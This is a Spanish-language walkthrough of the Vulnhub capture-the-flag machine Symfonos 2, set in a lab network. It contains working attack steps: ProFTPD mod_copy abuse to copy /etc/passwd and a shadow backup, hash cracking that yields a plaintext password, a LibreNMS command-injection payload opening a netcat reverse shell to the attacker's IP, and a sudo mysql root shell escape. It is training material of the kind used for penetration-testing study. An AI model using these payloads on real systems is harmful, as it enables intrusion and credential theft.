Symfonos 2
Walkthrough de la máquina Symfonos 2 de Vulnhub
Obteniendo la IP de la máquina víctima
Lo primero que vamos a hacer es tratar de descubrir en qué IP está la máquina víctima. Para ello vamos a usar nmap
indicádole que queremos hacer un ping scan (-sn
) para toda la red en la que nos encontramos actualmente. Si no estamos como usuario root
es recomendable usar sudo
para obtener información adicional de los equipos que se encuentren en la red:
nmap -sn 192.168.56.0/24
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-23 08:35 CEST Nmap scan report for 192.168.56.1 Host is up (0.00052s latency). Nmap scan report for 192.168.56.13 Host is up (0.00016s latency). Nmap scan report for 192.168.56.15 Host is up (0.00051s latency). Nmap done: 256 IP addresses (3 hosts up) scanned in 2.95 seconds
Nmap nos indica que la IP de la máquina víctima es la siguiente (ya que la primera es la IP del router y la segunda es la IP de la máquina atacante):
192.168.56.15
En caso de que sea una máquina virtual podemos verificarlo comprobando si las direcciones MAC de las tarjetas de red coinciden.
Lo siguiente que vamos a hacer es agregar la IP de la máquina víctima a nuestro /etc/hosts. De esta manera no necesitaremos recordar la IP y podemos usar el nombre que le pongamos. Editamos el fichero /etc/hosts y agregamos la siguiente línea al final del mismo:
192.168.56.15 symfonos2.ctf
Ahora si hacemos un ping symfonos2.ctf -c 1
deberíamos obtener la siguiente respuesta:
PING symfonos2.ctf (192.168.56.15) 56(84) bytes of data. 64 bytes from symfonos2.ctf (192.168.56.15): icmp_seq=1 ttl=64 time=0.651 ms --- symfonos2.ctf ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.651/0.651/0.651/0.000 ms
Esto nos confirma que resuelve correctamente el hostname que le hemos asignado.
Escaneo de puertos
Una vez que tenemos la IP de la máquina víctima, lo que vamos a hacer es tratar de detectar los puertos que tiene abiertos. Para ello vamos a lanzar otro escaneo con nmap
contra todo el rango de puertos (-p-
) usando la plantilla de temporizado más rápida (-T5
), filtrando por los puertos abiertos (--open
), y deshabilitando la resolución de DNS (-n
) y el descubrimiento de hosts (-Pn
):
nmap -p- -T5 --open -Pn -n symfonos2.ctf
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-23 08:51 CEST Nmap scan report for symfonos2.ctf (192.168.56.15) Host is up (0.00013s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds
De este escaneo obtenemos que los siguientes puertos están abiertos: 21 (FTP), 22 (SSH), 80 (HTTP), 139 (NETBIOS-SSN) y 445 (MICROSOFT-DS). Sabiendo que estos puertos están abiertos, lo siguiente que vamos a hacer es tratar de detectar qué servicios se están exponiendo y las versiones de los mismos (-sCV
):
nmap -p 21,22,80,139,445 -sCV symfonos2.ctf
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-23 08:53 CEST Nmap scan report for symfonos2.ctf (192.168.56.15) Host is up (0.00036s latency). PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 9df85f8720e58cfa68477d716208adb9 (RSA) | 256 042abb0656ead1931cd2780a00469d85 (ECDSA) |_ 256 28adacdc7e2a1cf64c6b47f2d6225b52 (ED25519) 80/tcp open http WebFS httpd 1.21 |_http-server-header: webfs/1.21 |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP) Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | smb-os-discovery: | OS: Windows 6.1 (Samba 4.5.16-Debian) | Computer name: symfonos2 | NetBIOS computer name: SYMFONOS2\x00 | Domain name: \x00 | FQDN: symfonos2 |_ System time: 2023-04-23T03:53:58-05:00 |_clock-skew: mean: 3h39m55s, deviation: 2h53m12s, median: 1h59m55s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-time: | date: 2023-04-23T08:53:58 |_ start_date: N/A |_nbstat: NetBIOS name: SYMFONOS2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox) | smb2-security-mode: | 311: |_ Message signing enabled but not required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.91 seconds
Del resultado del escaneo más detallado obtenemos lo siguiente:
21/tcp
: FTP - ProFTPD 1.3.522/tcp
: SSH - OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)80/tcp
: HTTP - WebFS httpd 1.21139/tcp
: NETBIOS-SSN - Samba smbd 3.X - 4.X445/tcp
: NETBIOS-SSN - Samba smbd 4.5.16-Debian
Enumeración del servicio SAMBA (445/SMB)
En el escaneo de puertos hemos visto que está expuesto el servicio SMB el cual se utiliza para compartir ficheros. En muchas ocasiones no hace falta autenticación para poder acceder a esos ficheros compartidos, así que vamos a usar smbclient parar tratar de listar (-L
) los recursos compartidos:
smbclient -L //symfonos2.ctf
Resultado (presionamos intro sin introducir contraseña):
Password for [WORKGROUP\parrot]: Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers anonymous Disk IPC$ IPC IPC Service (Samba 4.5.16-Debian) SMB1 disabled -- no workgroup available
El resultado nos indica que tenemos un recurso que puede ser interesante: anonymous. Lo siguiente que vamos a hacer es tratar de conectarnos a ese recurso como invitado (-U guest
) para tratar de acceder a el contenido:
smbclient //symfonos2.ctf/anonymous -U guest
Resultado (presionamos intro sin introducir contraseña):
Try "help" to get a list of possible commands. smb: \>
Ahora que estamos conectados listamos el contenido con el comando ls
:
smb: \> ls . D 0 Thu Jul 18 16:30:09 2019 .. D 0 Thu Jul 18 16:29:08 2019 backups D 0 Thu Jul 18 16:25:17 2019 19728000 blocks of size 1024. 16314092 blocks available
Si navegamos por el directorio backups terminamos encontrando un fichero en /backups/log.txt. Nos lo descargamos en la máquina atacante haciendo uso de get
. Si revisamos el fichero vemos que es un histórico de comandos con los resultados de los mismos. Podemos sacar la siguiente infomación útil:
- Se ha hecho una copia del fichero /etc/shadow a /var/backups/shadow.bak, por lo que ambos ficheros existen.
- El recurso de /anonymous/ de en encuentra en el path /home/aeolus/share, lo que también revela la existencia de un usuario aeolus.
- Podemos conectarnos mediante FTP haciendo uso del usuario anonymous sin proporcionar contraseña.
Ahora que sabemos esto, lo siguiente que podemos hacer es tratar de copiar los ficheros /var/backups/shadow.bak y /etc/passwd mediante FTP al directorio compartido por SMB para poder acceder a ellos. Para ello usamos el comando ftp y nos conectamos. Una vez conectados usaremos site cpfr
para especificar el origen de la copia y site cpto
para epecificar el destino:
Connected to symfonos2.ctf. 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.15] Name (symfonos2.ctf:parrot): anonymous 331 Anonymous login ok, send your complete email address as your password Password: 530 Login incorrect. Login failed. Remote system type is UNIX. Using binary mode to transfer files. ftp> site cpfr /etc/passwd 350 File or directory exists, ready for destination name ftp> site cpto /home/aeolus/share/passwd 250 Copy successful ftp> site cpfr /var/backups/shadow.bak 350 File or directory exists, ready for destination name ftp> site cpto /home/aeolus/share/shadow.bak 250 Copy successful ftp> exit 221 Goodbye.
Una vez copiados los ficheros nos volvemos a conectar con smbclient y los descargamos como ya hemos hecho anteriormente. Si inpeccionamos los ficheros vemos vemos que tenemos 3 usuarios en el sistema:
- root
- aeolus
- cronus
Ganando acceso a la máquina víctima
Al tener los ficheros shadow y passwd podemos tratar de, mediante un ataque de fuerza bruta, tratar de conseguir las contraseñas de los usuarios. Primero preparamos el hash con unshadow y tratamos de crackearlo con John the Ripper:
unshadow passwd shadow.bak > unshadowed.txt john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
Resultado (tras esperar un rato y para el proceso):
Using default input encoding: UTF-8 Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status sergioteamo (aeolus) 1g 0:00:11:06 13,32% (ETA: 15:25:15) 0.001500g/s 3147p/s 6334c/s 6334C/s Roxtar04..Ritsuka1 Use the "--show" option to display all of the cracked passwords reliably Session aborted
El resultado nos revela que la contraseña del usuario aeolus es sergioteamo. Si probamos a conectarnos usando ssh comprobamos que es correcta y que tenemos acceso a la máquina víctima.
Pivotando al usuario cronus
Como hemos podido ver antes en el /etc/passwd en el sistema también existe el usuario cronus, así que vamos a intentar pivotar a ese usuario.
Si listamos privilegios con sudo -l
o permisos SUID en algún ejecutable con find / -perm -4000 2>/dev/null
no econtramos nada interesante. Algo que podemos hacer es tratar de listar si hay algún puerto abierto de manera interna, así que usamos ss para obtenerlos:
ss -tulpn | grep LISTEN
Resultado:
tcp LISTEN 0 80 127.0.0.1:3306 *:* tcp LISTEN 0 50 *:139 *:* tcp LISTEN 0 128 127.0.0.1:8080 *:* tcp LISTEN 0 32 *:21 *:* tcp LISTEN 0 128 *:22 *:* tcp LISTEN 0 20 127.0.0.1:25 *:* tcp LISTEN 0 50 *:445 *:* tcp LISTEN 0 50 :::139 :::* tcp LISTEN 0 64 :::80 :::* tcp LISTEN 0 128 :::22 :::* tcp LISTEN 0 20 ::1:25 :::* tcp LISTEN 0 50 :::445 :::*
Del resultado obtenemos que el puerto 8080 está expuesto, además del 3306 (que es el puerto por defecto de MySQL). Para poder acceder con comodidad a ese puerto podemos hacer un tunel SSH. Para ello nos desconectamos de la sesión actual y nos conectamos de la siguiente manera:
ssh aeolus@symfonos2.ctf -L 8080:localhost:8080
De esta manera cuando establezcamos la conexión podremos ver el puerto 8080 de la máquina víctima en el puerto 8080 de la máquina atacante. Si ahora accedemos a http://localhost:8080
vemos que nos redirige a /login
y que muestra un panel de identificación de usuario de LibreNMS.
Si buscamos "librenms exploits" en Google encontramos en Exploit Database está el siguiente CVE:
Si investigamoos un poco el exploit vemos que lo que hace es un POST a /addhost/
incluyendo en el campo "community" nuestro payload que, en el caso del exploit, está intentando establecer una reverse shell con nc {remote_host} {remote_port}
. El hecho de que nos pida cookies indica que hace falta que sea un usuario autenticado. Por suerte el usuario aeolus con contraseña sergioteamo es válido.
Lo primero que vamos a hacer es ponernos en escucha usando nc:
nc -nlvp 8888
Recibiendo el mensaje de confirmación de que estamos escuchando:
listening on [any] 8888 ...
Ahora vamos a http://localhost:8080/addhost
, le ponemos un nombre "dummytest", marcamos el checkbox de "Forced add", y en el campo "Comunity" copiamos el payload que veíamos en el script reemplazando nuestro host y puerto: '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.13 8888 >/tmp/f) #
Si confirmamos deberíamos recibir el mensaje de confirmación de que se ha creado correctamente. Si revisamos el script del exploit vemos que lo siguiente que tenemos que hacer es acceder a una URL, así que la componemos y la introducimos en el navegador:
http://localhost:8080/ajax_output.php?id=capture&format=text&type=snmpwalk&hostname=dummytest
Al introducirla en el navegador comprobamos que se establece una conexión en el Netcat con el que estábamos escuchando:
connect to [192.168.56.13] from (UNKNOWN) [192.168.56.15] 47470 /bin/sh: 0: can't access tty; job control turned off
Si comprobamos el usuario con el que estamos conectados ejecutando whoami
vemos que es el usuario cronus.
Escalada de privilegios
Si comprobamos los privilegios del usuario con sudo -l
vemos lo siguiente:
Matching Defaults entries for cronus on symfonos2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User cronus may run the following commands on symfonos2: (root) NOPASSWD: /usr/bin/mysql
Como podemos observar, podemos ejecutar el binario que se encuentra en /usr/bin/mysql como root sin necesidad de introducir contraseña. Si buscamos en GTFObins encontramos que podemos lanzar una shell a través de mysql. Ejecutamos:
sudo mysql -e '\! /bin/sh'
Si comprobamos el usuario con el que estamos conectados ejecutando whoami
vemos que es el usuario root.
Si listamos el contenido del directorio home del usuario root
/root
encontramos el flag (proof.txt
):Congrats on rooting symfonos:2! ...
.